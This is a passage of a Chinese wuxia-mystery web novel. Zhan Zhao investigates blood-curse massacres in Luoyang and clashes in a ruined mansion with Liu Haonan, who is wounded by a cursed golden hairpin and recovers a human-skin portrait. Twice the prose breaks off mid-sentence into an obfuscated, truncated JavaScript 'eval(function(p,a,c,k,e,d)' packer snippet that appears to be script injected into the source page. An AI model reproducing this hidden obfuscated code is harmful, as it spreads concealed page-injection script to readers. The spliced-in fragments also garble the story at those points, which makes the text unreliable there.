杨排风颔首:“朔儿言之有理。薛家曾是洛阳望族,我等若过于简朴,反引人疑心。” 同一时分,开封府衙内 展昭正因怀中那难以忽视的珠钗包袱而暗自窘迫,面对公孙策与王朝等人了然又促狭的目光,耳根的热意尚未褪尽,只想尽快寻个由头避开。然而,未等他动作,便见府衙深处,包拯身着深紫官袍,步履生风,面容沉肃地疾趋而来,额间那道新月印记在晨光映照下,仿佛流转着洞悉阴阳的凛然威仪。 “展护卫!” 包拯声如洪钟,手中紧攥一份封有火漆的加急文书,径直递来,语气是前所未有的凝重,“洛阳八百里加急!旬日之内,洛阳地界竟有七户人家接连遭逢灭门惨祸,男女老幼,仆役主家,共计四十三口,无一幸免!现场除血腥杀戮外,皆留同一诡异血咒印记,阴邪诡谲,非比寻常。洛阳府上下束手无策,民间惊恐,朝廷震动!” 展昭心头剧震,立刻肃容,抱拳躬身:“属下在!” 动作间,怀中钗环又是一阵轻微碰撞。他此刻已顾不得尴尬。 包拯目光如电,在他面上一扫,语速快而决断:“此案绝非寻常仇杀或劫掠,现场毫无财物损失痕迹,亦无明确外人侵入路径,七户家主死状尤其……诡异。洛阳府初步查探,七户家主身份、营生各异,表面并无关联,然灭门手法如出一辙,必是同一伙或同一凶徒所为,且手段酷烈,迹近妖邪。你即刻动身,前往洛阳,全权协查此案,务必查明血咒根源,揪出真凶,以安社稷!” “属下领命!” 展昭毫不犹豫,双手接过尚带驿站余温的文书。事态紧急至此,他已将个人窘迫全然抛开。 包拯颔首,目光似无意般掠过展昭微鼓的前襟,那双能辨阴阳的眼中闪过一丝极淡的了然,但未多问,只沉声补充,意有所指:“此去凶险莫测,恐涉非常之力。切记,万物相生相克,有时看似不合常规之物,或正是应对诡谲之关键。你需随机应变,谨慎行事。速去!” “是!大人保重!” 展昭不再多言,郑重抱拳,转身疾步走向早已备好的骏马“追风”,翻身上鞍,一抖缰绳,便如离弦之箭般冲出府衙前街,直奔城外官道。他甚至来不及回家道别,脑海中只飞快闪过清晨离家时,庞小蝶执意将包袱塞入他怀中,眼圈微红却语气执拗的模样:“师兄,此去查那金牡丹案的后续,定要万分小心……这些首饰你务必贴身带着,是恩师所赐,暗藏玄机,或可防身……” 她当时只以为他是去追查先前令他中咒的“金牡丹案”余党,却不知等待他的是更为骇人听闻的洛阳血案。这认知让展昭心头更沉,猛夹马腹,速度又快了几分。 辰时三刻,太原府下辖,某临河小镇码头。 晨雾笼罩着平静的河面。刘皓南一家已登上了一艘即将启航的客船。他们探查卢善衡旧宅一无所获,此刻按计划,将先乘船沿汾水北上,至预定渡口下船后,再换车马陆行至黄河边,另换大船顺流东下,直抵洛阳。 刘朔倚在船舷,看着码头上忙碌的景象,低声道:“爹,从这儿走汾水北上,再转陆路至黄河渡口,虽比直下黄河费些周折,但更不易引人注意。当年那位二夫人若从这附近离开,也有可能选这条相对隐蔽的路线。” 杨排风在舱内整理着简单的行装,沉吟道:“薛家灭门惨案已过数十载,旧宅恐怕早已面目全非。但既是灭门,要么是为掩盖惊天秘密,要么是斩草除根。我们需得寻到旧宅确切位置,哪怕只剩断壁残垣,或能从地势、残留格局,甚至附近老人口中,窥得一丝半缕当年线索。” 刘皓南独立船头,青衫微动,凝视着潺潺流水,缓声道:“卢宅残卷提及二夫人私逃前密会‘洛阳故人’,不久薛家即遭灭门。时间如此紧凑,不像寻常谋财或私怨,更像是有预谋的截断与清洗。秘密的核心,或许就在洛阳,与薛家紧密相关,甚至……薛家本身就是秘密的一部分,或是握有钥匙的人。” 他眉头微蹙,总觉得那“洛阳故人”四字背后,藏着更深的寒意。 船工解缆撑篙,客船缓缓离岸,驶入薄雾迷蒙的河道。 官道之上,马蹄声急。 展昭单人独骑,一路疾驰。怀中珠钗随着骏马奔腾而轻微作响,起初只觉不便,但疾行半日,那持续的细微叮咚声,竟似带着某种奇异的韵律,让他因案情而紧绷的心神略微宁定。他想起庞小蝶递过包袱时眼中的忧色与笃定,心下微软,但随即又被案卷中的血腥描述拉回现实。 途经驿站换马时,他再次展开卷宗细看。那复刻的血咒图腾,线条扭曲诡谲,透着一股难以言喻的邪异之气,令人观之心悸。旁边有洛阳府老吏的批注:“此咒印纹样,阴毒古怪,老朽依稀记得,似在早年查阅某本残破的前朝杂录时,见过类似风格的图样,标注与唐初宫禁某失传秘术有关,然书名、具体记载均已湮灭,无从查考。” 展昭凝视着那咒印,眉头越锁越紧。奇怪的是,这纹样……他竟觉得有些眼熟。并非完全一致,但那勾勒的笔意,某些转折处的韵律……隐隐约约,竟与他少年时在玉女峰师门,偶然瞥见过几眼的、被师父慎之又慎收藏在禁地石室外的某些古老符纹拓片,有几分神似。那是师门极为核心的传承,与女子修行、祈福禳灾相关,他作为男弟子,所知甚少,只模糊记得那种古朴中正的“气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刘皓南颔首:“正该如此。白日人多眼杂,夜晚反而便宜。你们打听时也需万分小心,莫要直接提及薛家,可假托寻访故旧或打听房产。” 是夜,更深人静。刘皓南换上深色衣衫,悄无声息地离开客栈,如同融入了夜色,向着城南那片荒废的旧宅区潜行而去。他经验丰富,深知如何利用阴影与声响掩盖行迹。 几乎同时,城西驿馆。 展昭在灯下,将七份案发现场的血咒临摹图并排铺开,试图找出任何细微差别,却一无所获。心烦意乱间,他再次取出怀中那支金凤头簪,就着灯光细看。簪身华丽,但他此刻关注的,是凤首与簪杆衔接处那极为隐秘的古老防护符文——这是玉女门的一种高阶守护符印,他认得。当他无意识地将簪上这正大光明的守护符文的某个基础“结构元”,与案卷上那邪异血咒的某个扭曲“节点”在脑海中虚拟叠合时,一股寒意骤然从脊椎窜起! 虽然整体效果天差地别,一为守护,一为毁灭,但那构成符文的某种最根本的“笔序”与“灵韵流转规则”,竟存在着惊人的同源性!仿佛是同一种古老文字,被用来书写了祝福与诅咒两种截然相反的篇章!这绝非偶然的形似!这血咒,必定与玉女门早已失传或被封禁的某支古老、甚至可能走向邪路的传承,有极深的渊源!可师门清誉,怎会…… 他豁然起身,推开窗户,望向沉沉夜色。必须找到更多线索!这七户家主之间,一定有一条隐藏的、不为人知的纽带!或许,该从他们案发前那段“心神不宁”或“短暂失踪”的共同点入手?他们一起去了哪里?做了什么?见了什么人? 他目光再次扫过案卷,其中一户的地址引起他的注意:城南,枯柳巷。位置相对偏僻。而据他白日简单探访所知,那片区域再往南些,有一大片荒废的宅基,据说几十年前曾是大户人家,后来败落,一直无人接手,荒芜至今。一种强烈的直觉,混合着对那邪异血咒与师门可能关联的不安,驱使他必须立刻去查看。 夜已深,展昭换上深色便服,将庞小蝶给的首饰小心贴身藏好,尤其是那支揭示了可怕关联的金簪。他如同夜枭般悄无声息地掠出驿馆,融入浓重夜色,向着城南那片荒废之地疾行而去。他不知道,就在前方那片被月光勾勒出断壁残影的荒宅之中,另有一个同样为追寻秘密而来的身影,已先他一步,潜入其中。 两条各自追寻着不同时期、却可能同源秘密的线索,在这座千年古都荒废的宅院中,即将在月色下,狭路相逢。而刘皓南更不知道,这片废墟之下埋藏的,不仅仅是薛家的往事,更可能触及他自身血脉中,连他自己都未曾知晓的,与那古老邪咒纠缠的可怕渊源。 37. 废宅疑云 子时三刻,洛阳城西。 薛府旧宅在浓稠的墨色中静卧,轮廓模糊,宛如一头蛰伏在岁月尘埃下的庞大凶兽,虽已死寂,残存的骨架仍透出令人不安的威压。朱漆大门上的彩绘早已斑驳剥落,露出底下灰败的木胎,曾经锃亮的铜辅首锈蚀成青黑,被层层蛛网尘丝覆盖。门前一对石狮,半隐在疯长的野草与虬结的野藤之中,藤蔓如鬼手般缠绕攀附,在惨淡月光下投出张牙舞爪的怪影。自二十余年前那场震惊朝野的灭门血案后,这宅邸便成了洛阳城心照不宣的禁忌,再无人敢近,任其被时光与荒芜吞噬。 一道黑影,如鬼魅,更如一片被无形之气托着的落叶,悄无声息地翻过高耸但已有多处残破的院墙。落地时,靴底陷入不知积累了多少年的、厚实松软的腐叶层,只发出极轻微、几乎被夜风吞没的“沙沙”声。 刘皓南站定,夜行衣与黑暗几乎融为一体,只余一双眼睛在面罩后锐利如鹰,扫视着这座传闻中皆充满不祥的府邸。 宅院内,死寂是唯一的主宰。这寂静如此浓重,几乎有了实质的重量,压得人耳膜发胀。惨白的月光费力地穿过残破窗棂和廊下倾颓的垂花门,在布满厚重蛛网与灰尘的回廊、地面投下支离破碎的光斑。荒草萋萋,高可及腰,在夜风穿过空荡庭院的呜咽声中,发出持续不断、细碎而令人心头发毛的“簌簌”声,仿佛有无数看不见的魂灵在草丛间蹑足行走,窃窃私语。空气里弥漫着浓重得化不开的霉味、尘土味,以及木材、织物彻底朽坏后特有的腐败气息,但在这之中,刘皓南敏锐地捕捉到一丝极淡、却与周遭环境格格不入的异样——并非单纯的陈旧,而是一种若有若无的、被岁月尘封后依然未曾散尽的暗香。那像是上等檀香木经年累月沉淀下的余韵,又隐隐约约,掺着一缕极清极淡、属于女子闺阁的雅致甜香,似有还无,却异常执拗地钻入鼻端。 这丝几乎难以察觉的香气,成了黑暗中最明确的指引。刘皓南屏息凝神,内息流转,将自身存在感降至最低,沿着残破的主廊,踏着厚厚的积尘与碎瓦,向东厢房方向潜行。指尖偶尔拂过廊柱,能触到其下被虫蛀和湿气侵蚀得几乎酥软、但依稀可辨昔日繁复精美的雕花,那是薛家曾经煊赫的无声证言,如今只余满手朽败。 东厢最里间,是一处看似普通的静室。然而,与其他房门或被藤蔓封死、或歪斜倒塌不同,这扇门的铜环虽也锈蚀,门楣与门槛处的积灰却似乎被人有意无意地拂开过一些,留下几道不易察觉的、相对干净的痕迹,仿佛近期曾被人极其小心地推开又关上。 刘皓南在门外静立片刻,耳力运至极致,除了风声草动,室内并无呼吸心跳之声。他方缓缓抬手,以内劲极为轻柔地推开木门。 “吱——呀——” 门轴干涩摩擦的声音,在这死寂的宅院里被无限放大,格外刺耳,仿佛惊动了沉睡的幽灵。 室内空荡得近乎诡异。无桌无椅,无榻无柜,只有厚厚的灰尘均匀覆盖着地面。然而,正对门的墙壁上,却悬着一幅尺许高的绢本画像,与这满室荒败格格不入。一道月光恰好从屋顶的破洞斜射而入,不偏不倚,如舞台追光般笼罩了画轴。 画中是一位宫装女子,看年纪不过二十许,云鬓高绾,眉似远山含黛,目若秋水横波,琼鼻樱唇,容颜极美。她唇角微扬,带着一抹浅笑,但这笑意却未达眼底,三分属于宫廷的雍容华贵之下,是七分深入骨髓的疏离与淡漠,仿佛透过绢帛,冷冷俯视着尘世。她发间簪着一支金簪,簪头造型别致,乃是七瓣梅花,每一瓣的形态、转折皆雕琢得精细入微,栩栩如生,花心处嵌着一点米粒大小的朱红宝石,在月光映照下,泛着幽冷而妖异的光芒。 刘皓南的呼吸,在看清画中人面容的刹那,骤然停滞! 这眉眼……这神韵…… 记忆中母妃的容颜,早已被北汉宫阙焚毁那夜的冲天火光和漫长逃亡岁月冲刷得模糊破碎,只剩下母亲最后将他推入密道时,那惊惶、决绝而又无限眷恋的回眸一瞥,深深烙在灵魂深处。而眼前画中女子的容貌,竟与他灵魂深处那模糊却永恒的印记,有了惊人的七八分相似!尤其是那眉眼间的神韵,那份浸透在骨子里的疏离与哀愁…… 他心神剧震,不由自主地向前迈了一步。 “咔嚓。” 脚下传来细微却清晰的碎裂声,是一截不知在此地躺了多少年月的枯枝。 就在这心神微分、脚下发出声响的瞬间—— 一道锐利无匹的劲风,毫无征兆地自身后袭来!快得超越了声音,直到掌风及体,才听到衣袂破空的轻微锐响! 来人身法之快,犹如凭空出现,掌力更是凌厉纯正,雄浑博大,直取刘皓南后心大穴,显然是想一击制敌,且是极为高明的玄门正宗路数! 刘皓南虽惊不乱,生死间锤炼出的本能远超思考。他并不回头,听风辨位,身形如鬼魅般向侧方微微一滑一扭,竟于间不容发之际让开了后心要害,同时反手一掌拍出,并非硬接,而是斜斜劈向对方手腕,劲力吞吐不定,刚猛中藏着无数阴柔后劲,正是融合了华山派“破玉拳”根基的沉猛与辽国秘传“缠丝手”阴毒诡谲的混合招式。 “嘭!” 双掌并未完全接实,仅是劲气边缘相撞,便在狭窄静室内发出一声闷响,气浪微吐,震得梁上积攒多年的灰尘簌簌而下,在月光中飞舞。 一击不中,偷袭者毫不停留,身形如电,掌法展开,大开大合,招式堂堂正正却又绵密无比,劲力纯厚精纯,确是玉女门一脉相承的玄门正宗心法,光明正大,以势压人。正是奉旨暗中调查薛宅旧案的御前四品带刀护卫展昭。 刘皓南的武功则全然是另一路数。他身法诡谲,融合了华山轻功的灵动与辽国幻身术的飘忽,瞻之在前,忽焉在后。招式更是驳杂诡异,时而以华山破玉拳的刚猛硬撼,时而又化作地底城生死搏杀中领悟的、专走偏锋险招的阴毒手法,时而又夹杂着辽国巫武中带着邪气的擒拿点穴。他内力或许不如展昭精纯悠长,但胜在变幻莫测,狠辣刁钻,每每在看似绝境之际,以不可思议的角度和方式化解危机,甚至反攻一两式险招,让展昭颇感掣肘。 转眼间,两人在这尘埃遍布的静室中已闪电般交手十余招。展昭越打越是心惊,对方武功路数之杂、出手之狠、应变之奇,实乃平生仅见,绝非寻常江湖宵小。而刘皓南也暗自凛然,对方内力之正、根基之稳、掌法之严密,确是名门正派嫡传,久战下去,自己这东拼西凑、更偏重实战搏杀的内力恐怕难占上风。 刘皓南心念急转,正欲兵行险着,施展地底城学来的、以轻伤换擒拿的锁喉手法,先制住对方问个明白—— 异变突生! 激斗中,展昭似乎被刘皓南一记诡奇的指风逼得后退半步,怀中却骤然迸射出一缕刺目金光! 那金光速度快得超越目力,甫一出现,便已到刘皓南胸前,尖锐的破空啸音此时才骤然响起,刺痛耳膜!竟是一枚女子所用的金簪,看形制,与那画像中女子所簪的七瓣梅花金簪一般无二! 这暗器发射得毫无征兆,时机、角度刁钻狠辣到极点,更可怕的是其中蕴含的劲力——金光之中,隐含着一股精纯无比却又冰冷刺骨的阴寒内力,仿佛能将血液骨髓都冻结! 刘皓南大骇,全身功力瞬间爆发,华山“铁板桥”功夫硬生生将上身向后折倒,同时辽国幻身术发挥到极致,身形如无骨般扭动。 “嗤!” 金簪未能命中胸口要害,却深深扎入他左肩!并非简单刺入,那金簪仿佛活物,带着一股极其阴寒歹毒的螺旋劲道,瞬间穿透三层衣衫,直钉入骨!寒气如同无数冰针,顺伤口轰然炸开,疯狂侵蚀经脉,所过之处,气血几乎冻结。刘皓南喉头一甜,一股逆血已涌了上来,被他强行压下,但半边身子已感到麻痹。 这暗器手法与其中内力,绝非展昭刚才所用的玄门正宗路数!阴寒诡谲,威力却大得惊人,简直是专门为了破内家真气、伤经脉根本的邪门武功! 电光石火间,刘皓南已知今夜事不可为,更不能再纠缠。他强忍肩头剧痛和经脉中乱窜的阴寒之气,足下猛踏,融合了华山“一鹤冲天”与辽国“鬼影遁”的身法全力施为,身形如轻烟般一晃,已掠至墙边,袖袍一卷,已将墙上那幅诡异的女子画像卷入怀中。同时,他左手如电,并非去拔簪,而是运起“缠丝手”劲力,在掠过的瞬间,以巧劲在金簪尾部一拂一带——那钉入骨中的金簪,竟被他顺势拔出,落入掌心,瞬间收入袖内!这一下动作快如闪电,又借着转身夺画的掩护,连展昭都未看清他如何收走了金簪。 得手之后,刘皓南毫不停留,身影再晃,已如鬼魅般从静室破窗掠出,肩头鲜血这才飙射而出,在月光下洒出几朵凄艳的血花。 展昭急追而出,巨阙剑已然在手,剑光清冷。却见院中的刘皓南忽地从袖中抖出三面绘制着诡异血色符文的杏黄三角小旗,看也不看,信手向后掷出。三面小旗落地,呈三角之阵,甫一触地便“轰”地一声无火自燃,腾起一片浓郁的、泛着淡淡腥气的青色烟雾。烟雾翻滚,其中隐约有血色符文流转明灭,散发出令人心悸的邪异波动——竟是江湖中极为罕见、传言需以精血为引的“血遁之术”! 展昭急刹脚步,横剑当胸,凝神戒备,并未贸然冲入那青烟之中。待那奇异而令人不适的烟雾被夜风吹散些许,院中早已空空如也,失去了刘皓南的踪迹。唯有那三面小旗燃烧后留下的灰烬之中,隐约可见几滴颜色暗沉、尚未完全凝固的血迹,以及半张未烧尽、用朱砂混合鲜血绘满了繁复扭曲纹路的符纸纸角。 展昭并未立刻追击。他眉头紧锁,蹲下身,先以剑鞘小心拨弄检查灰烬与血迹,又用一方干净绢帕,小心翼翼拈起那半截符纸纸角,就着月光仔细端详。上面的符文扭曲怪异,绝非道家正统符箓,倒透着一股蛮荒邪气。他凑近鼻尖,除了灰烬和血腥味,空气中果然还残留着一丝极淡、却凌厉阴寒的气息,正是那枚诡异金簪所特有的、令人极不舒服的内劲余韵。他又起身,仔细查看刘皓南方才站立、掷旗、以及最后血迹消失的方向,目光如鹰,不放过任何一点痕迹——脚印的深浅、方向,滴落血迹的形状、间距,甚至周围草叶倒伏的细微迹象。 “好高明的遁术,好诡异的武功路数,还有这金簪……” 展昭面色凝重,低声自语。他收起那半截符纸,又仔细地将灰烬中那几滴未干涸的暗沉血液用特制油纸小心采集。今夜此人,武功驳杂狠辣,心思机敏果决,更身怀邪术,夺走那画像与金簪,显然与薛家旧案乃至宫中隐秘有极深牵连。事情,远比卷宗上记载的更加扑朔迷离,也更加凶险。 而此刻的刘皓南,已借血遁之术远遁至数里外一处荒废的瓜棚下。他脸色苍白,靠坐在土墙边,急速点穴止血,运功逼住左肩伤口处那不断试图蔓延的阴寒之气。怀中那幅画像贴着胸膛,冰冷的绢面下,似乎隐约能感受到一丝跨越了漫长时光的、微弱的温润。他咬牙从袖中取出那枚夺来的七瓣梅花金簪,就着棚外漏进的月光细看。金簪做工精美绝伦,那点朱红宝石在月光下泛着幽冷的光泽,簪身入手沉重冰凉,更有一股若有若无的阴寒气息萦绕不散,绝非寻常饰物。画像与金簪,似乎都在无声地指向那个他追寻已久、却迷雾重重的身世秘密,以及薛府血案背后更深的黑暗。 荒宅重归死寂,唯有呜咽的风声,依旧年复一年地穿过空庭荒草,如泣如诉,仿佛在哀悼那些被时光与阴谋埋葬的往事与亡魂。 客栈房中,灯花哔剥。 刘皓南靠在榻边,肩头衣衫褪下半幅,一道寸许长的伤口赫然显露——伤处皮肉翻卷并不深,却泛着一种诡异的青灰色,不见多少鲜血渗出,反而像是被一层薄冰覆盖。伤口四周的皮肤微微凹陷、僵硬,颜色灰败,仿佛内里的血肉生机已被某种极寒阴毒之物悄然吞噬、冻结,与周围健康的肌理形成鲜明对比。更麻烦的是,一股阴寒刺骨的气息正从伤口处丝丝缕缕地向周围经脉侵蚀,时如冰针刺扎,时如寒流蔓延,阴柔难缠,与他所知的任何刚猛掌力或寻常毒质都迥然不同,驱散起来异常费力。 刘朔捏着那枚七瓣梅花金簪就灯细看,烛光在精致绝伦的簪身流转,映得他眉宇间褪去了平日的嬉笑不羁,显出罕见的专注与凝重。 “爹,”他指尖极其小心地轻点簪头那薄如蝉翼、几近透明的金色花瓣,触手只觉冰凉沁骨,那寒意与刘皓南伤口处的气息同源,“这金簪的做工,这内蕴的、几乎凝成实质的宝光流转之势……与小妹随身那些玉女门的护身法器,根本是同出一脉的炼制手法和灵力灌注。” 少年忽然凑近,声音压得极低,眼里却闪着惯有的、混合了关切与狡黠的光:“聂隐娘前辈最擅这等以精金秘银炼制、内蕴灵机法力的细巧物件,她门下核心弟子每人都有这么一件贴身宝物,既是饰物,更是厉害法器。可这支簪子……”他故意拖长了语调,嘴角勾起一抹惯常的、带着点戏谑的笑,“怎会出现在二十多年前荒宅画中女子的发间?还被当成了伤人暗器?”他眨眨眼,用气声道:“您早年游历江湖,见识广博,该不会……真和神秘莫测的玉女门,有什么咱们不知道的……渊源吧?比如,欠了哪位仙子的风流债?” 刘皓南正皱眉欲斥他胡说八道,肩头伤口处猛地传来一阵钻心刺痛!那看似浅表的伤口,内里却似有无数细小的冰针被他的情绪牵动,骤然在经脉中游窜爆开,阴寒之气直冲心肺。他闷哼一声,额角瞬间渗出细密冷汗,喘息不由得重了几分,虽然立刻强行压下,却如何逃得过一直留心他状况的刘朔的眼睛。 “况且——”刘朔脸上那点戏谑迅速收起,指尖虚虚点向伤口周遭那圈不断缓慢扩大的青灰色,“这分明是玉女门核心真传之一的‘寒梅劲’所伤,阴寒歹毒,专蚀经脉根基。当年聂前辈与师伯在华山绝顶论剑,剑气余波扫过的山石,留下的痕迹也是这般,外看只是一道浅痕,内里却石质酥脆,寒意经年不散。此劲极为难缠,非纯阳浑厚内力或对症灵药不能化解。” 烛火恰在此时噼啪一跳,爆出个灯花,骤然亮起的光映得少年眉眼清晰,那惯常跳脱的神色下,竟透出几分与年龄不符的锐利与洞察。 刘皓南沉默片刻,忍着肩头阵阵袭来的阴寒刺痛,缓缓取出怀中那幅卷起的画轴。画轴入手,那绢本的触感便让他眉头一跳——触手并非寻常宣纸的干燥或普通绢帛的细滑,而是一种难以言喻的、微带韧性的温润,甚至在掌心体温下,似乎有极细微的弹性反馈。就着灯光展开,画绢在光下透出异样的、近乎象牙般的柔和光泽,纹理细腻到不可思议,隐隐有极淡的、类似肌肤般的质感,绝非任何已知的纸张或织品。 他指尖带着一丝自己都未察觉的凝重,抚过画中女子如云的发髻,那支七瓣梅花簪的每一个细节在近距离的灯光下无所遁形。当目光凝注于其中一瓣梅花瓣缘时,他呼吸骤停——那里有一个极其细微、几乎与金色花纹融为一体的“卍”字符印,以某种暗红色的朱砂(或许混合了别的)点就,细如蚊足,却结构古奥,正是他在女儿刘望舒某些不轻易示人的玉女门信物上见过的、独有的秘传标记! 更骇人的是,随着他指尖温度传递和近距离的凝视,那画中女子的面容在灯光流转下,竟似乎……微微泛起了极淡的、类似活人气血般的暖色,那双原本静止的、含情含愁的眸子,在光影微妙变化间,恍惚竟有波光流动,欲语还休,直勾勾地“看”着画外人!一股寒意陡然从刘皓南尾椎骨窜起——这绝非普通画作!这温润带弹、隐透生机的材质……这分明是传闻中某些邪异秘法炮制的——人皮画! “爹,”刘朔忽然抽了抽鼻子,凑得更近些,几乎贴到画绢上,他嗅觉远比常人灵敏,“这画……有血的味道。”他皱紧眉头,仔细分辨,“不是陈年旧血积淤的腐朽气,是……新鲜的人血血气,虽然很淡,但逃不过我的鼻子。” 刘皓南猛地攥紧画轴边缘,指节泛白。他想起荒宅静室中,这幅画正对月光悬挂的诡异位置,那岂是寻常供奉,简直像是某种阴邪的祭祀或仪轨布置!而画中女子与记忆里母妃惊人相似的容颜,此刻再看,不仅没有带来半分温情追思,反而为这整件事披上了一层更加扑朔迷离、令人毛骨悚然的色彩。 “朔儿。”刘皓南突然合上画轴,将那令人不安的画面隔绝,声音因压抑痛楚和心绪而有些沙哑,“今夜之事,尤其是这伤,以及这画和金簪的来历……” “知道知道!”刘朔立刻笑嘻嘻地打断,表情恢复了惯有的轻松,但眼神里却没什么笑意,“绝不能告诉娘亲嘛!她要是知道了,非得从开封连夜杀过来不可。”他晃了晃手中的金簪,眼里闪着狡黠而机灵的光,“不过爹,您这伤在右肩后侧,晚上睡觉只要一翻身,必定压到。娘睡觉虽然沉,但最警醒您的一点动静,您打算怎么瞒?难不成今夜坐着睡?” 见父亲抿唇不语,额角冷汗又渗出一层,刘朔凑得更近,声音压得低低的,带着商量的口气:“要不……儿子帮您想个法子?我记得城南有家不起眼的药铺,掌柜的嘴严,或许有对症的药材或缓解寒毒的药膏……只要您答应,下次有什么‘好玩’的事儿,比如探探这玉女门在洛阳的底细什么的……带上我?”他眨巴着眼,一脸“我很靠谱快答应我”的表情。 “胡闹!”刘皓南低斥,气息牵动伤口,又是一阵冰针攒刺般的剧痛,闷哼一声,冷汗顺着鬓角滑落,在灯下亮晶晶的。 刘朔立刻敛了所有玩笑神色,正色道:“爹,我不是说笑。您这‘寒梅劲’的伤,须得以纯阳浑厚的内力缓缓化去寒毒。可您所修的华山内功心法偏重轻灵阴柔,与这寒毒并非完全相克,若强行运功驱赶,恐怕寒毒未清,反而会与您自身内力冲突,伤上加伤。”他伸手,不由分说搭上刘皓南的腕脉,细细探查,脸色渐渐变了,“您内力运行滞涩至此,寒毒已渗入经络,还敢逞强动用血遁之术?不要命了!” 窗外传来沉闷的更梆声,已是三更。 刘皓南望着桌上跳动的灯焰,眼前却仿佛浮现出妻子杨排风平日浅睡时,哪怕在他身边也会不自觉轻蹙的眉尖,那是常年警觉留下的痕迹。若让她知晓自己不仅旧地重游涉险,还中了这等阴毒诡异的暗算……他几乎能清晰想象出她得知后,会如何强作镇定,却背过身急急翻找金疮药时那微微发颤的手指,以及那双总是清亮坚定的眼眸里会涌出的、让她自己都恼火的惊惶与水光。 “爹,”刘朔忽然轻声道,语气是少有的认真,甚至带点少年人不太熟练的安慰,“您可知娘最怕什么?”他指向刘皓南肩头那狰狞的伤口,“她从来不怕您受伤,甚至不怕您遇到多厉害的对手。她最怕的……是您像从前一样,什么事都自己扛着,受了伤、中了毒,也闷不吭声,独自硬撑,把她……把我们,都排除在外。”少年清亮的眼睛在灯下直视着父亲,“您总想着护我们周全,可对我们来说,看着您独自涉险、独自承受,才是最难熬的。” 刘朔说完,起身走到窗边,将本就关着的窗扇又仔细检查了一遍,关得严严实实,阻隔了夜风。然后他从自己随身那个鼓鼓囊囊的行囊深处,摸索出一个小小的紫砂药瓶,递到刘皓南面前。 “这是离开开封前,娘偷偷塞进我包袱最里面的。”刘朔看着父亲,慢慢说道,“她说……这是以前一位老道长留下的‘九阳还魂丹’,最是对症各种阴寒掌毒、内伤淤滞。她让我仔细收好,万一……万一您旧伤复发,或者遇到棘手的内伤时应急。”他顿了顿,声音低下去,“娘什么都没多问,但我知道,她一直提着心。” 刘皓南彻底怔住,看着儿子手中那小小的紫砂瓶,仿佛有千斤重。原来她早有预感……原来她什么都想到了,却什么也不说破,只将担忧和牵挂,化作这枚悄悄备下的丹药,塞进儿子行囊。她什么都知道,却只装作不知,用她的方式,沉默地守护着。 他接过药瓶,紫砂质地温润,还带着少年怀中微微的体温。拔开塞子,一股温热辛香又带着苦涩的药气溢出。他仰头,将丹丸吞下。丹药入喉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刘皓南没有立刻回答,他的目光再次落在那枚被刘朔放在画旁的七瓣梅花金簪上。金簪在烛光下幽幽地泛着冷光,簪头那点朱红宝石,偶尔折射出一丝血色光华,仿佛有生命在其中流动。它静静地躺在那里,却像是一个沉默的引信,连接着二十多年前的血案、神秘的玉女门、吐蕃秘术、酷似母妃的画中女子,以及今夜那凌厉诡异的一击。窗外,洛阳城的夜雾不知何时愈发浓重,缓缓弥漫开来,仿佛在无声地预示着一场更大的风暴正在酝酿聚集。 画中女子那双被特殊技法描绘的眼眸,在跳跃的灯火映照下,似有幽光流转,栩栩如生,仿佛随时会眨动。而那支七瓣梅花金簪投在墙上的细长阴影,微微颤动着,像一道扭曲的、等待被破解的谜题符咒。 洛阳客栈房中,灯火摇曳不定,将人影投在斑驳的土墙上,拉得忽长忽短,变幻扭曲。刘皓南指尖再次抚过那幅已卷起一半的画像边缘,那非纸非绢的触感——温润中带着诡异的弹性,甚至能感受到皮下组织般极细微的纹理——让他胃部一阵不适的翻搅。这绝非寻常画材,愈发证实了方才那骇人推测:这确是一幅以秘法炮制、保留了部分肌肤特性的“人皮画”。画中女子容颜与记忆中的母妃有八九分相似,那份雍容与疏离如出一辙,唯有眉梢一点用特殊朱砂点染的、形如梅蕊的嫣红小痣,为这张脸平添了几分母妃画像中从未有过的、近乎妖异的媚色与生动,仿佛那不是颜料点缀,而是真实肌肤下透出的血色。 刘朔已懒洋洋地倚回窗边,嘴里不知何时叼了根草茎,月光为他略显单薄却已见挺拔轮廓的侧影镀上一层清冷的银边。他手中那枚七瓣梅花金簪仍在指间灵活地翻飞转动,划出道道暗金色的流光,簪头那点米粒大小的朱红宝石,在偶尔的角度下,会闪过一丝妖异的、仿佛有生命律动般的血红光泽,随即又隐没于璀璨金色之中。 忽然,窗口上方极其诡异地倒坠下一颗脑袋!花白头发乱如蓬草,一张老脸因倒悬而充血泛红,满是沟壑,一双眼睛却亮得骇人,毫无醉意朦胧之态——正是神龙见首不见尾的师叔凌霄子!他倒挂在窗外,一手还拎着个见底的破旧酒葫芦,另一只手却快如闪电,猛地探进窗内,不由分说一把抱住了近在咫尺的刘朔,扯开破锣嗓子干嚎起来: “哎呦我的乖徒儿!可想死为师了!这洛阳城大得迷眼,酒香却勾魂,为师寻你寻得好苦啊!”他满身浓烈酒气熏人欲醉,动作却精准无比,嚎哭的同时,一只手已极其熟练地摸向刘朔腰间鼓囊囊的钱袋,嘴里兀自絮叨,“听说你小子最近发了笔小财?快快快,江湖救急,先帮为师把‘太白居’那八十年的陈酿债给结咯!那些杀千刀的掌柜,追得为师差点把看家本领‘倒挂金钟’都使出来了!” 刘朔被这突如其来的一抱勒得直翻白眼,好不容易才挣扎着从师父铁钳般的臂弯里脱出半个身子,没好气地一把推开那张凑得太近、酒气冲天的老脸:“得了吧您呐!又欠了哪家酒楼赌坊的债,被人追得爬上房梁、倒悬躲债了?八十年的陈酿?您咋不说是王母娘娘的琼浆玉液呢!” 